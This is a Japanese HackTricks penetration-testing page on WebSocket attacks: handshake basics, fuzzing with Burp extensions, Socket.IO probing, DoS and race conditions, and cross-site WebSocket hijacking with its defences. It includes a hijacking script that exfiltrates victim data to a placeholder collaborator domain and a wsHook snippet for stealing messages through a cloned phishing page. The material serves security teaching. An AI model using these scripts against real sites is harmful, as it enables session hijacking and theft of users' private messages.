WebSocket 攻撃

Reading time: 22 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WebSocketsとは

WebSocket接続は最初のHTTPハンドシェイクを通じて確立され、長時間持続するように設計されており、トランザクション型の仕組みを必要とせず、いつでも双方向メッセージングが可能になります。これにより、WebSocketsは低レイテンシまたはサーバー起点の通信を必要とするアプリケーション(例えばライブ金融データストリーム)に特に適しています。

WebSocket接続の確立

WebSocket接続の確立に関する詳細な説明はこちらで参照できます。要約すると、WebSocket接続は通常クライアントサイドのJavaScriptを介して以下のように開始されます:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

wss プロトコルは TLS で保護された WebSocket 接続を示し、ws未保護 の接続を示します。

接続の確立時には、HTTP を介してブラウザとサーバー間でハンドシェイクが行われます。ハンドシェイクのプロセスでは、ブラウザがリクエストを送信しサーバーが応答します。以下の例のように示されます:

ブラウザがハンドシェイクリクエストを送信します:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Serverのhandshake response:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

接続が確立されると、両方向のメッセージ交換のために接続は開いたままになります。

WebSocketハンドシェイクの重要なポイント:

  • ConnectionUpgrade ヘッダーは WebSocket ハンドシェイクの開始を示します。
  • Sec-WebSocket-Version ヘッダーは望ましい WebSocket プロトコルのバージョン(通常は 13)を示します。
  • Sec-WebSocket-Key ヘッダーには Base64 エンコードされたランダム値が送信され、各ハンドシェイクが一意であることを保証します。これによりキャッシュプロキシによる問題を防ぐのに役立ちます。この値は認証のためのものではなく、レスポンスが誤設定されたサーバやキャッシュによって生成されたものではないことを確認するためのものです。
  • サーバのレスポンスに含まれる Sec-WebSocket-Accept ヘッダーは Sec-WebSocket-Key のハッシュであり、サーバが WebSocket 接続を開く意図があることを検証します。

これらの機能により、ハンドシェイクプロセスは安全かつ信頼性の高いものとなり、効率的なリアルタイム通信の基盤が築かれます。

Linux コンソール

websocat を使って websocket との生の接続を確立できます。

bash
websocat --insecure wss://10.10.10.10:8000 -v

または websocat サーバーを作成するには:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket 接続

現在のローカルネットワーク上でclientがHTTP websocketに接続しているのを見つけた場合、ARP Spoofing Attack を試して、clientとserverの間でMitM attackを実行できます。
clientが接続を試みると、次に以下を使用できます:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets 列挙

自動的に websockets の既知の脆弱性を検出、フィンガープリント、検索するには、ツール https://github.com/PalindromeLabs/STEWS を使用できます。

Websocket デバッグツール

  • Burp Suite は、通常の HTTP 通信と非常に似た方法で MitM による websockets 通信をサポートします。
  • socketsleuth Burp Suite extension により、history の取得、interception rules の設定、match and replace ルールの利用、IntruderAutoRepeater の使用など、Burp 内での Websocket 通信をより適切に管理できます。
  • WSSiP: Short for "WebSocket/Socket.io Proxy"。Node.js で書かれたこのツールは、クライアントとサーバ間のすべての WebSocket と Socket.IO 通信をキャプチャ、インターセプト、カスタムメッセージの送信、および表示するためのユーザーインターフェースを提供します。
  • wsrepl は、penetration testing 向けに設計された interactive websocket REPL です。受信 websocket メッセージの観察や新しいメッセージの送信、およびこの通信を自動化するための使いやすいフレームワークを提供します。
  • https://websocketking.com/ は websockets を使って他の web と通信するための web です。
  • https://hoppscotch.io/realtime/websocket は、他のプロトコルと同様に、websockets を使って他の web と通信するための web を提供します。

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Websocket Fuzzing

Burp の拡張 Backslash Powered Scanner は現在 WebSocket メッセージの fuzz もサポートしています。詳細は here を参照してください。

WebSocket Turbo Intruder (Burp extension)

PortSwigger の WebSocket Turbo Intruder は、Turbo Intruder スタイルの Python スクリプトと高レートの fuzzing を WebSockets に提供します。BApp Store かソースからインストールできます。以下の 2 つのコンポーネントを含みます:

  • Turbo Intruder: カスタムエンジンを使用して単一の WS エンドポイントに対して高ボリュームのメッセージ送信を行います。
  • HTTP Middleware: ローカルの HTTP エンドポイントを公開し、ボディを永続的な接続上で WS メッセージとして転送するため、任意の HTTP ベースのスキャナが WS バックエンドをプローブできるようにします。

WS エンドポイントを fuzz し、関連するレスポンスをフィルタするための基本的なスクリプトパターン:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

単一のメッセージが複数のレスポンスを引き起こす場合、ノイズを減らすために@MatchRegex(...)のようなデコレータを使用する。

HTTPの背後にあるWSをブリッジ (HTTP Middleware)

永続的なWS接続をラップし、HTTP bodiesをWS messagesとして転送して、HTTP scannersによる自動テストを行う:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

次にローカルにHTTPを送信します; ボディはWSメッセージとして転送されます:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

これにより、WSバックエンドを操作しつつ、“興味深い”イベント(例: SQLi errors、auth bypass、command injection behavior)をフィルタできます。

Socket.IOの処理(ハンドシェイク、ハートビート、イベント)

Socket.IOはWSの上に独自のフレーミングを追加します。必須のクエリパラメータ EIO(例: EIO=4)で検出します。Ping (2) と Pong (3) でセッションを維持し、"40"で会話を開始し、その後 42["message","hello"] のようなイベントをemitします。

Intruderの例:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTPアダプタのバリアント:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Socket.IO経由での server‑side prototype pollution の検出

PortSwigger の安全な検出手法に従い、以下のような payload を送って Express の内部を汚染してみてください:

json
{"__proto__":{"initialPacket":"Polluted"}}

もし greetings や挙動が変わる(例: echo に "Polluted" が含まれる)なら、サーバー側のプロトタイプが汚染された可能性が高いです。影響は到達可能なシンク次第なので、Node.js の prototype pollution セクションにある gadgets と照合してください。参照:

WebSocket race conditions with Turbo Intruder

デフォルトのエンジンは1つの接続でメッセージをバッチ処理します(スループットは高いが、レース検出には不向き)。THREADED エンジンを使うと複数の WS 接続を生成してペイロードを並列送信し、ロジックレース(double‑spend、token reuse、state desync)を誘発できます。まずは例のスクリプトから始め、config() で同時実行数を調整してください。

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

ヘッダで非常に大きなペイロード長を宣言するがボディを送らない WS フレームを作成します。いくつかの WS サーバは長さを信用してバッファを事前割り当てするため、Integer.MAX_VALUE 近くに設定すると Out‑Of‑Memory を引き起こし、リモートの unauth DoS を招く可能性があります。例のスクリプトを参照してください。

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

高レートの WS ファジングは多数の接続を開き、毎秒数千件のメッセージを送信する可能性があります。malformed frames や高頻度の送信は実際の DoS を引き起こす場合があります。許可された範囲でのみ実行してください。

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, は WebSocket ハンドシェイクに影響する Cross-Site Request Forgery (CSRF) の特定のケースと見なされます。この脆弱性は WebSocket ハンドシェイクが HTTP cookies のみで認証され、CSRF tokens などの類似のセキュリティ対策が存在しない場合に発生します。

攻撃者は脆弱なアプリケーションに対してクロスサイトの WebSocket 接続を開始する malicious web page をホストすることでこれを悪用できます。その結果、この接続は被害者のアプリケーションにおけるセッションの一部として扱われ、セッション処理における CSRF 保護の欠如を突かれます。

この攻撃が成立するための条件は次の通りです:

  • websocket authentication must be cookie based
  • cookie が攻撃者サーバからアクセス可能であること(通常は SameSite=None を意味します)、Firefox で Firefox Total Cookie Protection が有効でないこと、Chrome で blocked third-party cookies がブロックされていないこと
  • websocket サーバが接続の Origin をチェックしていないこと(またはこれがバイパス可能であること)

Also:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

接続をestablishingする際、websocketcookiesentされてサーバに届く点に注意してください。server は送信された cookie に基づいて各specificuser とその websocket session based on the sent cookie を関連付けている可能性があります。

例えば、msg に "READY" が送られるとwebsocket server がユーザの会話履歴を sends back the history of the conversation するような場合、接続を確立する simple XSS(被害者を認可するために cookiesent automatically されます)で "READY" を sending すれば会話の履歴を retrieve できてしまいます。

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者は、web socket 通信が行われているドメインのsubdomain 内で任意の Javascript を実行することに成功しました。それがsubdomainだったため、cookie送信されており、またWebsocket が Origin を適切にチェックしていなかったため、通信が可能となり、そこからtokens を盗むことができました

ユーザーからデータを盗む

なりすます対象の Web アプリケーション(例: .html ファイル)をコピーし、websocket 通信が行われている script 内に次のコードを追加します:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

まず、wsHook.js ファイルを https://github.com/skepticfx/wshook からダウンロードし、web ファイルと同じフォルダに保存してください
ウェブアプリケーションを公開してユーザを接続させると、websocket 経由で送受信されたメッセージを盗むことができます:

javascript
sudo python3 -m http.server 80

CSWSH Protections

CSWSH 攻撃は、ユーザーが悪意のあるページにアクセスし、そのページがユーザーが既に接続している Web ページに対して websocket connection を開き、リクエストがユーザーの cookies を送信するために攻撃者になりすまして認証できてしまう、という事実に基づいています。

現在では、この問題を防ぐのは比較的簡単です:

  • Websocket server checking the origin: websocket サーバーは、予期しないページからの接続を防ぐために、常にどこから接続が来ているか(Origin)を確認するべきです。
  • Authentication token: 認証を cookie に依存させる代わりに、攻撃者が知らないサーバー発行のトークン(anti-CSRF トークンのような)で websocket 接続を認証する方法にできます。
  • SameSite Cookie attribute: SameSiteLax または Strict に設定された cookies は、外部の攻撃者ページから被害者サーバーへ送信されないため、cookie ベースの認証は成功しません。なお Chrome はこのフラグが指定されていない cookies に対してデフォルトで Lax を付与し、より安全にしています。ただし、cookie 作成後最初の 2 分間は値が None となり、その限定的な期間は脆弱になる(この措置は将来的に変更される可能性があります)。
  • Firefox Total Cookie Protection: Total Cookie Protection は、cookie を作成されたサイトごとに分離することで機能します。基本的に各サイトは自身の cookie 保存領域を持ち、サードパーティがユーザーの閲覧履歴を結びつけることを防ぎます。これにより攻撃者のサイトは cookies にアクセスできなくなり、CSWSH は利用不能になります。
  • Chrome third-party cookies block: これも SameSite=None の場合でも、認証済みユーザーの cookie を websocket サーバーへ送信させないようにすることができます。

Race Conditions

Race Conditions in WebSockets も存在します。詳細は check this information to learn more を参照してください。

Other vulnerabilities

Web Sockets はサーバー側およびクライアント側にデータを送信する仕組みであるため、サーバーやクライアントが情報をどのように扱うかによって、websocket 経由のユーザー入力を利用して XSS、SQLi、その他の一般的な web 脆弱性を悪用できる場合があります。

WebSocket Smuggling

この脆弱性により、reverse proxies の制限を回避し、プロキシに対して websocket communication が確立されたと信じ込ませる(実際には確立されていない場合でも)ことで、攻撃者が 隠れたエンドポイントにアクセスできる可能性があります。詳細は次のページを参照してください:

Upgrade Header Smuggling

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする